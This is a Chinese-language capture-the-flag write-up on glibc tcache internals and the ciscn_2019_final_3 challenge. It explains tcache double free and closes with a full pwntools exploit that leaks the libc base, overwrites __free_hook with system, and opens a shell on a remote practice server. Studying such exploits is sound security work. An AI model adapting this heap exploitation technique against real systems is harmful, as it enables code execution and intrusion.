Tcache机制的引入
libc2.26以后引入了一个新的机制tcache,类似于fastbin,每条链上允许有7个chunk,多出的chunk会直接放入相应的fastbin或者Unsortedbin,跟以往不同的是,当用户申请chunk时,会优先寻找tcache中的chunk。
因为该机制的引入,提升了处理的速度,但安全性减低了,例如fastbin attach中的double free(tcache dup),free的时候会检查第一个chunk是否为自己,绕过该机制需要构造a->b->a,但是在tcache中并没有进行检查,所以可以直接free两次。
上述的double free漏洞仅存在于一些libc版本中,后面推出了增强性的tcache,增加了tcache的检查,如果使用高版本的libc,tcache dup就无法有效。
Tcache部分源码分析
/*------------------------ Public wrappers. --------------------------------*/
#if USE_TCACHE
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
直接查看libc2.26源码,tcache中增加了两个结构体tcache_entry和tcache_perthread_struct。
其中较为重要的函数为tcache_put函数和tcache_get。
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
很明显在tcache中放入chunk时并没有对其进行任何的检查,直接放在链表的头部,安全性很差,随便伪造一个chunk就能free进入相应的链表。
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
跟fastbin机制相同,对于chunk的管理都是FILO的,从链表头部抽取chunk。
tcache的源码不止这些,还有很多涉及到chunk的分配和管理,这里只介绍本题利用的原理源码。
ciscn_2019_final_3
首先对题目进行分析,功能只有两个,分别为add和delete比较简单。
这里需要注意的时,题目中对malloc的大小进行了限制,并不能申请超过0x78大小,并且打印出了每个chunk的地址,节省了很多功夫。
Delete功能这里并没有对指针进行置0,存在tcache dup。
整体思路为:
1、首先需要泄露libc的基址,就要使chunk进入到unsortedbin,但因为限制大小的缘故,通过tcache dup修改chunk大小为unsortbin的大小,本题目修改为0x461,为chunk0至chunk8包括header的总大小。
2、free chunk0,就会进入Unsortedbin,free chunk1,chunk1就会进入tcache中,chunk1既存在于unsortedbin,也存在于tcache,此时申请一个chunk0大小的chunk,unsortedbin就是进行切割(这里有个机制就是如果申请的内存在tcache中没有,但是在unsortedbin中有,那么就会将unsortedbin中的内存切割出来,并将main_arena的fd、bk写入到切割后的unsortedbin中的fd、bk之中),连续申请chunk1大小的chunk,就能泄露出libc基址(小技巧就是__malloc_hook+0x10=main_arena)
3、再次通过tcache dup,将__free_hook修改为system的地址,执行free(4)就是执行system('/bin/sh')
payload如下:
from pwn import *
from LibcSearcher import *
def add(index,size,content):
sh.sendlineafter('choice > ','1')
sh.sendlineafter('input the index\n',str(index))
sh.sendlineafter('input the size\n',str(size))
sh.sendlineafter('now you can write something\n',content)
sh.recvuntil('gift :')
gift_addr = int(sh.recv(14),16)
return gift_addr
def delete(index):
sh.sendlineafter('choice > ','2')
sh.sendlineafter('input the index\n',str(index))
#context.log_level = 'DEBUG'
#sh = process('./ciscn_final_3')
sh = remote('node4.buuoj.cn',29411)
libc = ELF('./libc.so.6')
#unsortedbins
heap_base = add(0,0x70,'a')
heap_base-=0x10
add(1,0x50,'b')
add(2,0x70,'c')
add(3,0x70,'d')
add(4,0x70,'/bin/sh\x00')
add(5,0x70,'f')
add(6,0x70,'g')
add(7,0x70,'h')
add(8,0x70,'i')
#extra_bins
add(9,0x70,'j')
add(10,0x40,'k')
delete(10)
delete(10)
add(11,0x40,p64(heap_base))
add(12,0x40,p64(heap_base))
add(13,0x40,p64(0)+p64(0x461))
delete(0)
delete(1)
add(14,0x70,'l')
add(15,0x50,'m')
main_arena = add(16,0x50,'n')-96
libc_base = main_arena-0x10-libc.sym['__malloc_hook']
system_addr = libc_base+libc.sym['system']
free_hook = libc_base+libc.sym['__free_hook']
add(17,0x10,'o')
delete(17)
delete(17)
add(18,0x10,p64(free_hook))
add(19,0x10,p64(free_hook))
add(20,0x10,p64(system_addr))
delete(4)
sh.interactive()
运行能够能够成功拿到shell。